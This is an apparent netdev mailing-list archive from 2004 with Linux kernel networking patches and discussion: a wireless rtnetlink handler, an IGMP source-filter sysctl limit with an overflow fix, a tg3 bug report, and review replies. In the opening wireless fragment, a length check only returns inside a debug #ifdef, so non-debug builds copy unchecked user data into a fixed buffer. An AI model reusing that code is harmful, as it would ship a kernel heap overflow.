have extra data in the request or not */ + if(descr->header_type != IW_HEADER_TYPE_POINT) { + + /* No extra arguments. Trivial to handle */ + ret = handler(dev, &info, wrqu, NULL); + +#ifdef WE_SET_EVENT + /* Generate an event to notify listeners of the change */ + if((descr->flags & IW_DESCR_FLAG_EVENT) && + ((ret == 0) || (ret == -EIWCOMMIT))) + wireless_send_event(dev, cmd, wrqu, NULL); +#endif /* WE_SET_EVENT */ + } else { + char * extra; + int extra_len; + + /* Check what user space is giving us */ + if(IW_IS_SET(cmd)) { + /* Check if number of token fits within bounds */ + if(wrqu->data.length > descr->max_tokens) + return -E2BIG; + if(wrqu->data.length < descr->min_tokens) + return -EINVAL; + } + +#ifdef WE_RTNETLINK_DEBUG + printk(KERN_DEBUG "%s (WE) : Malloc %d bytes\n", + dev->name, descr->max_tokens * descr->token_size); +#endif /* WE_IOCTL_DEBUG */ + + /* Always allocate for max space. Easier, and won't last + * long... */ + extra = kmalloc(descr->max_tokens * descr->token_size, + GFP_KERNEL); + if (extra == NULL) { + return -ENOMEM; + } + + /* If it is a SET, copy data to the aligned buffer */ + if(IW_IS_SET(cmd) && (wrqu->data.length != 0)) { + + /* Length of extra (what's after the fixed header) */ + extra_len = request_len - hdr_len; + + /* Check if we have enough of it */ + if(extra_len < (wrqu->data.length * + descr->token_size)) { +#ifdef WE_RTNETLINK_DEBUG + printk(KERN_DEBUG "%s (WE) : Wireless request data too short (%d)\n", + dev->name, extra_len); + return -EINVAL; +#endif /* WE_RTNETLINK_DEBUG */ + } + + memcpy(extra, ((char *) request) + hdr_len, + extra_len); + } + + /* Call the handler */ + ret = handler(dev, &info, wrqu, extra); + + /* If we have something to return to the user */ + if (!ret && IW_IS_GET(cmd)) { + // TODO + } + +#ifdef WE_SET_EVENT + /* Generate an event to notify listeners of the change */ + if((descr->flags & IW_DESCR_FLAG_EVENT) && + ((ret == 0) || (ret == -EIWCOMMIT))) { + if(descr->flags & IW_DESCR_FLAG_RESTRICT) + /* If the event is restricted, don't + * export the payload */ + wireless_send_event(dev, cmd, wrqu, NULL); + else + wireless_send_event(dev, cmd, wrqu, + extra); + } +#endif /* WE_SET_EVENT */ + + /* Cleanup - I told you it wasn't that long ;-) */ + kfree(extra); + } + + /* Call commit handler if needed and defined */ + if(ret == -EIWCOMMIT) + ret = call_commit_handler(dev); + + return ret; +} + +/* ---------------------------------------------------------------- */ +/* + * Main RtNetlink dispatcher. Called from the main networking code + * (do_setlink() in net/core/rtnetlink.c). + * Check the type of Request and call the appropriate wrapper... + */ +int wireless_process_rtnetlink(struct net_device * dev, + char * data, + int len) +{ + struct iw_event * request = (struct iw_event *) data; + iw_handler handler; + + /* Check length */ + if(len < IW_EV_LCP_LEN) { + printk(KERN_DEBUG "%s (WE) : RtNetlink request too short (%d)\n", + dev->name, len); + return -EINVAL; + } + + /* ReCheck length (len may have padding) */ + if(request->len > len) { + printk(KERN_DEBUG "%s (WE) : RtNetlink request len invalid (%d-%d)\n", + dev->name, request->len, len); + return -EINVAL; + } + + // TODO : Handle special cases + + /* Basic check */ + if (!netif_device_present(dev)) + return -ENODEV; + + /* New driver API : try to find the handler */ + handler = get_handler(dev, request->cmd); + if(handler != NULL) { + /* Standard and private are not the same */ + if(request->cmd < SIOCIWFIRSTPRIV) + return rtnetlink_standard_call(dev, + request, + request->len, + handler); + // TODO : support for Private Requests + } + return -EOPNOTSUPP; } /************************* EVENT PROCESSING *************************/ --FL5UXtIhxfXey3p5-- From dlstevens@us.ibm.com Thu Mar 4 21:04:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 21:04:48 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2554eKO023301 for ; Thu, 4 Mar 2004 21:04:46 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2554Yrj444814; Fri, 5 Mar 2004 00:04:34 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2554XLR145422; Thu, 4 Mar 2004 22:04:33 -0700 Subject: IGMP multicast source filter limits via sysctl [PATCH] To: netdev@oss.sgi.com, davem@redhat.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Thu, 4 Mar 2004 22:04:31 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF168 | December 5, 2003) at 03/04/2004 22:04:33 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4DDDF88AA798f9e8a93df938690918c07BBE4DDDF88AA79" X-archive-position: 3767 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 17455 Lines: 356 --0__=07BBE4DDDF88AA798f9e8a93df938690918c07BBE4DDDF88AA79 Content-type: multipart/alternative; Boundary="1__=07BBE4DDDF88AA798f9e8a93df938690918c07BBE4DDDF88AA79" --1__=07BBE4DDDF88AA798f9e8a93df938690918c07BBE4DDDF88AA79 Content-type: text/plain; charset=US-ASCII The following patch adds a sysctl variable for administrators to set limits on the number of per-socket multicast source filters for IPv4. The in-line patch for review is for 2.4.25. Attached is the 2.4.25 version and the 2.6.x version. multiprotocol socket API version to follow soon. +-DLS diff -ruN linux-2.4.25F2/include/linux/sysctl.h linux-2.4.25F4/include/linux/sysctl.h --- linux-2.4.25F2/include/linux/sysctl.h 2004-02-20 15:13:01.000000000 -0800 +++ linux-2.4.25F4/include/linux/sysctl.h 2004-03-04 17:02:54.000000000 -0800 @@ -312,6 +312,7 @@ NET_TCP_FRTO=92, NET_TCP_LOW_LATENCY=93, NET_IPV4_IPFRAG_SECRET_INTERVAL=94, + NET_IPV4_IGMP_MAX_MSF=96, }; enum { diff -ruN linux-2.4.25F2/net/ipv4/igmp.c linux-2.4.25F4/net/ipv4/igmp.c --- linux-2.4.25F2/net/ipv4/igmp.c 2004-02-18 05:36:32.000000000 -0800 +++ linux-2.4.25F4/net/ipv4/igmp.c 2004-03-04 15:47:09.000000000 -0800 @@ -101,7 +101,8 @@ #endif -#define IP_MAX_MEMBERSHIPS 20 +#define IP_MAX_MEMBERSHIPS 20 +#define IP_MAX_MSF 10 #ifdef CONFIG_IP_MULTICAST /* Parameter names and values are taken from igmp-v2-06 draft */ @@ -1311,6 +1312,7 @@ * Join a socket to a group */ int sysctl_igmp_max_memberships = IP_MAX_MEMBERSHIPS; +int sysctl_igmp_max_msf = IP_MAX_MSF; static int ip_mc_del1_src(struct ip_mc_list *pmc, int sfmode, @@ -1772,6 +1774,10 @@ } /* else, add a new source to the filter */ + if (psl && psl->sl_count >= sysctl_igmp_max_msf) { + err = -ENOBUFS; + goto done; + } if (!psl || psl->sl_count == psl->sl_max) { struct ip_sf_socklist *newpsl; int count = IP_SFBLOCK; diff -ruN linux-2.4.25F2/net/ipv4/ip_sockglue.c linux-2.4.25F4/net/ipv4/ip_sockglue.c --- linux-2.4.25F2/net/ipv4/ip_sockglue.c 2004-02-23 17:03:10.000000000 -0800 +++ linux-2.4.25F4/net/ipv4/ip_sockglue.c 2004-03-04 19:29:33.000000000 -0800 @@ -609,6 +609,7 @@ case IP_MSFILTER: { extern int sysctl_optmem_max; + extern int sysctl_igmp_max_msf; struct ip_msfilter *msf; if (optlen < IP_MSFILTER_SIZE(0)) @@ -627,9 +628,14 @@ kfree(msf); break; } - if (IP_MSFILTER_SIZE(msf->imsf_numsrc) < - IP_MSFILTER_SIZE(0) || - IP_MSFILTER_SIZE(msf->imsf_numsrc) > optlen) { + /* numsrc >= (1G-4) overflow in 32 bits */ + if (msf->imsf_numsrc >= 0x3ffffffcU || + msf->imsf_numsrc > sysctl_igmp_max_msf) { + kfree(msf); + err = -ENOBUFS; + break; + } + if (IP_MSFILTER_SIZE(msf->imsf_numsrc) > optlen) { kfree(msf); err = -EINVAL; break; diff -ruN linux-2.4.25F2/net/ipv4/sysctl_net_ipv4.c linux-2.4.25F4/net/ipv4/sysctl_net_ipv4.c --- linux-2.4.25F2/net/ipv4/sysctl_net_ipv4.c 2003-06-13 07:51:39.000000000 -0700 +++ linux-2.4.25F4/net/ipv4/sysctl_net_ipv4.c 2004-03-04 14:47:31.000000000 -0800 @@ -38,6 +38,7 @@ /* From igmp.c */ extern int sysctl_igmp_max_memberships; +extern int sysctl_igmp_max_msf; /* From inetpeer.c */ extern int inet_peer_threshold; @@ -182,6 +183,8 @@ {NET_IPV4_IGMP_MAX_MEMBERSHIPS, "igmp_max_memberships", &sysctl_igmp_max_memberships, sizeof(int), 0644, NULL, &proc_dointvec}, #endif + {NET_IPV4_IGMP_MAX_MSF, "igmp_max_msf", + &sysctl_igmp_max_msf, sizeof(int), 0644, NULL, &proc_dointvec}, {NET_IPV4_INET_PEER_THRESHOLD, "inet_peer_threshold", &inet_peer_threshold, sizeof(int), 0644, NULL, &proc_dointvec}, {NET_IPV4_INET_PEER_MINTTL, "inet_peer_minttl", (See attached file: 2.4.25igmpmsflimit2.patch) (See attached file: 2.6.4rc2igmpmsflimit2.patch) --1__=07BBE4DDDF88AA798f9e8a93df938690918c07BBE4DDDF88AA79 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

The following patch adds a sysctl variable for administrators to set
limits on the number of per-socket multicast source filters for IPv4.
The in-line patch for review is for 2.4.25. Attached is the 2.4.25 version
and the 2.6.x version.

multiprotocol socket API version to follow soon.

+-DLS

diff -ruN linux-2.4.25F2/include/linux/sysctl.h linux-2.4.25F4/include/linux/sysctl.h
--- linux-2.4.25F2/include/linux/sysctl.h 2004-02-20 15:13:01.000000000 -0800
+++ linux-2.4.25F4/include/linux/sysctl.h 2004-03-04 17:02:54.000000000 -0800
@@ -312,6 +312,7 @@
NET_TCP_FRTO=92,
NET_TCP_LOW_LATENCY=93,
NET_IPV4_IPFRAG_SECRET_INTERVAL=94,
+ NET_IPV4_IGMP_MAX_MSF=96,
};

enum {
diff -ruN linux-2.4.25F2/net/ipv4/igmp.c linux-2.4.25F4/net/ipv4/igmp.c
--- linux-2.4.25F2/net/ipv4/igmp.c 2004-02-18 05:36:32.000000000 -0800
+++ linux-2.4.25F4/net/ipv4/igmp.c 2004-03-04 15:47:09.000000000 -0800
@@ -101,7 +101,8 @@
#endif


-#define IP_MAX_MEMBERSHIPS 20
+#define IP_MAX_MEMBERSHIPS 20
+#define IP_MAX_MSF 10

#ifdef CONFIG_IP_MULTICAST
/* Parameter names and values are taken from igmp-v2-06 draft */
@@ -1311,6 +1312,7 @@
* Join a socket to a group
*/
int sysctl_igmp_max_memberships = IP_MAX_MEMBERSHIPS;
+int sysctl_igmp_max_msf = IP_MAX_MSF;


static int ip_mc_del1_src(struct ip_mc_list *pmc, int sfmode,
@@ -1772,6 +1774,10 @@
}
/* else, add a new source to the filter */

+ if (psl && psl->sl_count >= sysctl_igmp_max_msf) {
+ err = -ENOBUFS;
+ goto done;
+ }
if (!psl || psl->sl_count == psl->sl_max) {
struct ip_sf_socklist *newpsl;
int count = IP_SFBLOCK;
diff -ruN linux-2.4.25F2/net/ipv4/ip_sockglue.c linux-2.4.25F4/net/ipv4/ip_sockglue.c
--- linux-2.4.25F2/net/ipv4/ip_sockglue.c 2004-02-23 17:03:10.000000000 -0800
+++ linux-2.4.25F4/net/ipv4/ip_sockglue.c 2004-03-04 19:29:33.000000000 -0800
@@ -609,6 +609,7 @@
case IP_MSFILTER:
{
extern int sysctl_optmem_max;
+ extern int sysctl_igmp_max_msf;
struct ip_msfilter *msf;

if (optlen < IP_MSFILTER_SIZE(0))
@@ -627,9 +628,14 @@
kfree(msf);
break;
}
- if (IP_MSFILTER_SIZE(msf->imsf_numsrc) <
- IP_MSFILTER_SIZE(0) ||
- IP_MSFILTER_SIZE(msf->imsf_numsrc) > optlen) {
+ /* numsrc >= (1G-4) overflow in 32 bits */
+ if (msf->imsf_numsrc >= 0x3ffffffcU ||
+ msf->imsf_numsrc > sysctl_igmp_max_msf) {
+ kfree(msf);
+ err = -ENOBUFS;
+ break;
+ }
+ if (IP_MSFILTER_SIZE(msf->imsf_numsrc) > optlen) {
kfree(msf);
err = -EINVAL;
break;
diff -ruN linux-2.4.25F2/net/ipv4/sysctl_net_ipv4.c linux-2.4.25F4/net/ipv4/sysctl_net_ipv4.c
--- linux-2.4.25F2/net/ipv4/sysctl_net_ipv4.c 2003-06-13 07:51:39.000000000 -0700
+++ linux-2.4.25F4/net/ipv4/sysctl_net_ipv4.c 2004-03-04 14:47:31.000000000 -0800
@@ -38,6 +38,7 @@

/* From igmp.c */
extern int sysctl_igmp_max_memberships;
+extern int sysctl_igmp_max_msf;

/* From inetpeer.c */
extern int inet_peer_threshold;
@@ -182,6 +183,8 @@
{NET_IPV4_IGMP_MAX_MEMBERSHIPS, "igmp_max_memberships",
&sysctl_igmp_max_memberships, sizeof(int), 0644, NULL, &proc_dointvec},
#endif
+ {NET_IPV4_IGMP_MAX_MSF, "igmp_max_msf",
+ &sysctl_igmp_max_msf, sizeof(int), 0644, NULL, &proc_dointvec},
{NET_IPV4_INET_PEER_THRESHOLD, "inet_peer_threshold",
&inet_peer_threshold, sizeof(int), 0644, NULL, &proc_dointvec},
{NET_IPV4_INET_PEER_MINTTL, "inet_peer_minttl",

(See attached file: 2.4.25igmpmsflimit2.patch)
(See attached file: 2.6.4rc2igmpmsflimit2.patch)
--1__=07BBE4DDDF88AA798f9e8a93df938690918c07BBE4DDDF88AA79-- --0__=07BBE4DDDF88AA798f9e8a93df938690918c07BBE4DDDF88AA79 Content-type: application/octet-stream; name="2.4.25igmpmsflimit2.patch" Content-Disposition: attachment; filename="2.4.25igmpmsflimit2.patch" Content-ID: <10__=07BBE4DDDF88AA798f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNC4yNUYyL2luY2x1ZGUvbGludXgvc3lzY3RsLmggbGludXgtMi40 LjI1RjQvaW5jbHVkZS9saW51eC9zeXNjdGwuaAotLS0gbGludXgtMi40LjI1RjIvaW5jbHVkZS9s aW51eC9zeXNjdGwuaAkyMDA0LTAyLTIwIDE1OjEzOjAxLjAwMDAwMDAwMCAtMDgwMAorKysgbGlu dXgtMi40LjI1RjQvaW5jbHVkZS9saW51eC9zeXNjdGwuaAkyMDA0LTAzLTA0IDE3OjAyOjU0LjAw MDAwMDAwMCAtMDgwMApAQCAtMzEyLDYgKzMxMiw3IEBACiAJTkVUX1RDUF9GUlRPPTkyLAogCU5F VF9UQ1BfTE9XX0xBVEVOQ1k9OTMsCiAJTkVUX0lQVjRfSVBGUkFHX1NFQ1JFVF9JTlRFUlZBTD05 NCwKKwlORVRfSVBWNF9JR01QX01BWF9NU0Y9OTYsCiB9OwogCiBlbnVtIHsKZGlmZiAtcnVOIGxp bnV4LTIuNC4yNUYyL25ldC9pcHY0L2lnbXAuYyBsaW51eC0yLjQuMjVGNC9uZXQvaXB2NC9pZ21w LmMKLS0tIGxpbnV4LTIuNC4yNUYyL25ldC9pcHY0L2lnbXAuYwkyMDA0LTAyLTE4IDA1OjM2OjMy LjAwMDAwMDAwMCAtMDgwMAorKysgbGludXgtMi40LjI1RjQvbmV0L2lwdjQvaWdtcC5jCTIwMDQt MDMtMDQgMTU6NDc6MDkuMDAwMDAwM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LCAmcHJvY19kb2ludHZlY30sCiAJe05FVF9JUFY0X0lORVRfUEVFUl9NSU5UVEwsICJpbmV0X3Bl ZXJfbWludHRsIiwK --0__=07BBE4DDDF88AA798f9e8a93df938690918c07BBE4DDDF88AA79 Content-type: application/octet-stream; name="2.6.4rc2igmpmsflimit2.patch" Content-Disposition: attachment; filename="2.6.4rc2igmpmsflimit2.patch" Content-ID: <20__=07BBE4DDDF88AA798f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNi40cmMyL2luY2x1ZGUvbGludXgvc3lzY3RsLmggbGludXgtMi42 LjRyYzJGMS9pbmNsdWRlL2xpbnV4L3N5c2N0bC5oCi0tLSBsaW51eC0yLjYuNHJjMi9pbmNsdWRl L2xpbnV4L3N5c2N0bC5oCTIwMDQtMDMtMDQgMTk6MDU6MTcuMDAwMDAwMDAwIC0wODAwCisrKyBs aW51eC0yLjYuNHJjMkYxL2luY2x1ZGUvbGludXgvc3lzY3RsLmgJMjAwNC0wMy0wNCAxNjo1Nzoy Ni4wMDAwMDAwMDAgLTA4MDAKQEAgLTMyMSw2ICszMjEsNyBAQAogCU5FVF9UQ1BfTE9XX0xBVEVO Q1k9OTMsCiAJTkVUX0lQVjRfSVBGUkFHX1NFQ1JFVF9JTlRFUlZBTD05NCwKIAlORVRfVENQX1dF U1RXT09EPTk1LAorCU5FVF9JUFY0X0lHTVBfTUFYX01TRj05NiwKIH07CiAKIGVudW0gewpkaWZm IC1ydU4gbGludXgtMi42LjRyYzIvbmV0L2lwdjQvaWdtcC5jIGxpbnV4LTIuNi40cmMyRjEvbmV0 L2lwdjQvaWdtcC5jCi0tLSBsaW51eC0yLjYuNHJjMi9uZXQvaXB2NC9pZ21wLmMJMjAwNC0wMi0x NyAxOTo1OTo0OC4wMDAwMDAwMDAgLTA4MDAKKysrIGxpbnV4LTIuNi40cmMyRjEvbmV0L2lwdjQv aWdtcC5jCTIwMDQtMDMtMDQgMTY6MTg6ND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RhdGEJCT0gJmluZXRf cGVlcl90aHJlc2hvbGQsCg== --0__=07BBE4DDDF88AA798f9e8a93df938690918c07BBE4DDDF88AA79-- From jeff@crib.corepower.com Fri Mar 5 04:10:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Mar 2004 04:10:58 -0800 (PST) Received: from crib.corepower.com (ethernet-032-packplace.citizens.swva.net.66.37.66.in-addr.arpa [66.37.66.32] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i25CAXKO017329 for ; Fri, 5 Mar 2004 04:10:33 -0800 Received: from jeff by crib.corepower.com with local (Exim 3.36 #1 (Debian)) id 1AzE9q-0002Sd-00 for ; Fri, 05 Mar 2004 07:10:26 -0500 Date: Fri, 5 Mar 2004 07:10:26 -0500 From: Jeff Raubitschek To: netdev@oss.sgi.com Subject: tg3 link not detected on first interface up with mtu change Message-ID: <20040305121026.GF14914@raubitschek.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3769 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jeff@raubitschek.org Precedence: bulk X-list: netdev Content-Length: 1558 Lines: 33 using the tg3 (v2.8) driver on 2.4.26-pre1, with dual port NetXtreme BCM5704 (rev 03), if you configure the interfaces with the a non default mtu, link will not be detected (no gigE switch required to reproduce, 100 Mbps switch will produce the same problem) some observations: - if you bring the interface down and bring it up again, link will be detected. - on some machines when bringing up both interfaces at the same time, one of the dual interfaces will detect link while the other will not - if you bring up the interface with the default mtu, then immediately change the mtu using ifconfig, link will not be detected - if you bring up the interface with the default mtu, then wait 2 seconds before changing the mtu using ifconfig, link WILL be detected - the broadcom driver bcm5700.o driver detects link correctly in this case. Reproduce with these steps: insmod tg3 ifconfig eth1 10.9.0.98 mtu 1000 # wait a bit and check link with: ethtool eth1 (it will be "no") dmesg output: tg3.c:v2.8 (February 23, 2004) PCI: Found IRQ 5 for device 00:09.1 PCI: Sharing IRQ 5 with 00:0b.0 eth1: Tigon3 [partno(BCM95704CA40-I) rev 2003 PHY(5704)] (PCI:33MHz:32-bit) 10/100/1000BaseT Ethernet 00:10:18:06:d4:88 PCI: Found IRQ 12 for device 00:09.0 eth2: Tigon3 [partno(BCM95704CA40-I) rev 2003 PHY(5704)] (PCI:33MHz:32-bit) 10/100/1000BaseT Ethernet 00:10:18:06:d4:89 please let me know if i can provide more information, i will continue to dig through the driver trying to understand where the timing condition with tg3_change_mtu might be. -jeff From paulkf@microgate.com Fri Mar 5 07:15:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Mar 2004 07:15:27 -0800 (PST) Received: from sol.microgate.com (h-68-165-86-241.DLLATX37.covad.net [68.165.86.241]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i25FFNKO026587 for ; Fri, 5 Mar 2004 07:15:24 -0800 Received: from deimos.microgate.com (deimos.microgate.com [192.168.0.12]) by sol.microgate.com (8.11.6/8.11.6) with ESMTP id i25FF9U10210; Fri, 5 Mar 2004 09:15:09 -0600 Subject: Re: [janitor] use netdev_priv() in synclink (char. driver) From: Paul Fulghum To: "Randy.Dunlap" Cc: netdev , jgarzik In-Reply-To: <20040303150105.7ff770b0.rddunlap@osdl.org> References: <20040303142907.09d0f7bd.rddunlap@osdl.org> <20040303150105.7ff770b0.rddunlap@osdl.org> Content-Type: text/plain Organization: Message-Id: <1078499709.2076.5.camel@deimos.microgate.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 05 Mar 2004 09:15:09 -0600 Content-Transfer-Encoding: 7bit X-archive-position: 3770 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: paulkf@microgate.com Precedence: bulk X-list: netdev Content-Length: 2954 Lines: 99 On Wed, 2004-03-03 at 17:01, Randy.Dunlap wrote: > | > | From: Carlo Perassi > | and Randy.Dunlap > > > Jeff, can you add this patch and the fusion/mptlan driver > patch as well? > > -- > ~Randy > > > > > linux-264-302-priv-rddunlap/drivers/char/synclink.c | 12 ++++++------ > 1 files changed, 6 insertions(+), 6 deletions(-) > > diff -puN drivers/char/synclink.c~synclink_casts drivers/char/synclink.c > --- linux-264-302-priv/drivers/char/synclink.c~synclink_casts 2004-03-02 12:56:23.000000000 -0800 > +++ linux-264-302-priv-rddunlap/drivers/char/synclink.c 2004-03-02 13:01:39.000000000 -0800 > @@ -7878,7 +7878,7 @@ void mgsl_sppp_delete(struct mgsl_struct > > int mgsl_sppp_open(struct net_device *d) > { > - struct mgsl_struct *info = d->priv; > + struct mgsl_struct *info = netdev_priv(d); > int err; > unsigned long flags; > > @@ -7920,7 +7920,7 @@ open_fail: > > void mgsl_sppp_tx_timeout(struct net_device *dev) > { > - struct mgsl_struct *info = dev->priv; > + struct mgsl_struct *info = netdev_priv(dev); > unsigned long flags; > > if (debug_level >= DEBUG_LEVEL_INFO) > @@ -7938,7 +7938,7 @@ void mgsl_sppp_tx_timeout(struct net_dev > > int mgsl_sppp_tx(struct sk_buff *skb, struct net_device *dev) > { > - struct mgsl_struct *info = dev->priv; > + struct mgsl_struct *info = netdev_priv(dev); > unsigned long flags; > > if (debug_level >= DEBUG_LEVEL_INFO) > @@ -7964,7 +7964,7 @@ int mgsl_sppp_tx(struct sk_buff *skb, st > > int mgsl_sppp_close(struct net_device *d) > { > - struct mgsl_struct *info = d->priv; > + struct mgsl_struct *info = netdev_priv(d); > unsigned long flags; > > if (debug_level >= DEBUG_LEVEL_INFO) > @@ -8014,7 +8014,7 @@ void mgsl_sppp_tx_done(struct mgsl_struc > > struct net_device_stats *mgsl_net_stats(struct net_device *dev) > { > - struct mgsl_struct *info = dev->priv; > + struct mgsl_struct *info = netdev_priv(dev); > if (debug_level >= DEBUG_LEVEL_INFO) > printk("mgsl_net_stats(%s)\n",info->netname); > return &info->netstats; > @@ -8022,7 +8022,7 @@ struct net_device_stats *mgsl_net_stats( > > int mgsl_sppp_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) > { > - struct mgsl_struct *info = (struct mgsl_struct *)dev->priv; > + struct mgsl_struct *info = netdev_priv(dev); > if (debug_level >= DEBUG_LEVEL_INFO) > printk("%s(%d):mgsl_ioctl %s cmd=%08X\n", __FILE__,__LINE__, > info->netname, cmd ); > > _ This patch breaks the driver. The pointer stored in dev->priv points to a structure that is allocated and maintained by the driver. Changing from dev->priv to netdev_priv(dev) returns a pointer to memory at the end of the net_device structure. These are two different things. So with the patch, the driver gets a pointer to something other than the device private information that it needs. Please dont apply this patch. -- Paul Fulghum paulkf@microgate.com From brazilnut@us.ibm.com Fri Mar 5 09:44:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Mar 2004 09:44:07 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i25HhxKO002933 for ; Fri, 5 Mar 2004 09:44:05 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i25Hhq0Y258112; Fri, 5 Mar 2004 12:43:52 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i25Hhprf143218; Fri, 5 Mar 2004 10:43:52 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i25Hh5B02111; Fri, 5 Mar 2004 09:43:05 -0800 From: Don Fry Message-Id: <200403051743.i25Hh5B02111@DYN318364BLD.beaverton.ibm.com> Subject: resend [PATCH 2.6.4-rc2] netdevice.h add netif_msg_init helper To: jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 5 Mar 2004 09:43:05 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3771 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 944 Lines: 28 This patch adds a helper function to initialize the debug bit mask for use with netif_msg_*. When the debug_value is out of range it returns the default_msg_enable_bits. --- linux-2.6.4-rc2/include/linux/orig.netdevice.h Thu Mar 4 09:59:08 2004 +++ linux-2.6.4-rc2/include/linux/netdevice.h Thu Mar 4 10:56:19 2004 @@ -774,6 +774,17 @@ #define netif_msg_hw(p) ((p)->msg_enable & NETIF_MSG_HW) #define netif_msg_wol(p) ((p)->msg_enable & NETIF_MSG_WOL) +static inline u32 netif_msg_init(int debug_value, int default_msg_enable_bits) +{ + /* use default */ + if (debug_value < 0 || debug_value > (sizeof(u32) * 8)) + return default_msg_enable_bits; + if (debug_value == 0) /* no output */ + return 0; + /* set low N bits */ + return(((debug_value == (sizeof(u32)*8)) ? 0 : (1 << debug_value)) - 1); +} + /* Schedule rx intr now? */ static inline int netif_rx_schedule_prep(struct net_device *dev) -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri Mar 5 12:31:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Mar 2004 12:31:48 -0800 (PST) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i25KVdKO009750 for ; Fri, 5 Mar 2004 12:31:46 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e5.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i25KVWJr517814; Fri, 5 Mar 2004 15:31:32 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i25KVdB8110278; Fri, 5 Mar 2004 15:31:40 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i25KUgF02260; Fri, 5 Mar 2004 12:30:42 -0800 From: Don Fry Message-Id: <200403052030.i25KUgF02260@DYN318364BLD.beaverton.ibm.com> Subject: Re: resend [PATCH 2.6.4-rc2] netdevice.h add netif_msg_init helper To: jgarzik@pobox.com (Jeff Garzik) Date: Fri, 5 Mar 2004 12:30:42 -0800 (PST) Cc: netdev@oss.sgi.com In-Reply-To: <4048D415.4060701@pobox.com> from "Jeff Garzik" at Mar 05, 2004 02:25:09 PM X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3772 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1363 Lines: 39 With the value 32, all bits would be set not none. 0 -1 sets all the bits. Is that not the correct operation? > > This patch adds a helper function to initialize the debug bit mask > > for use with netif_msg_*. When the debug_value is out of range > > it returns the default_msg_enable_bits. > > > > --- linux-2.6.4-rc2/include/linux/orig.netdevice.h Thu Mar 4 09:59:08 2004 > > +++ linux-2.6.4-rc2/include/linux/netdevice.h Thu Mar 4 10:56:19 2004 > > @@ -774,6 +774,17 @@ > > #define netif_msg_hw(p) ((p)->msg_enable & NETIF_MSG_HW) > > #define netif_msg_wol(p) ((p)->msg_enable & NETIF_MSG_WOL) > > > > +static inline u32 netif_msg_init(int debug_value, int default_msg_enable_bits) > > +{ > > + /* use default */ > > + if (debug_value < 0 || debug_value > (sizeof(u32) * 8)) > > + return default_msg_enable_bits; > > + if (debug_value == 0) /* no output */ > > + return 0; > > + /* set low N bits */ > > + return(((debug_value == (sizeof(u32)*8)) ? 0 : (1 << debug_value)) - 1); > > +} > > + > 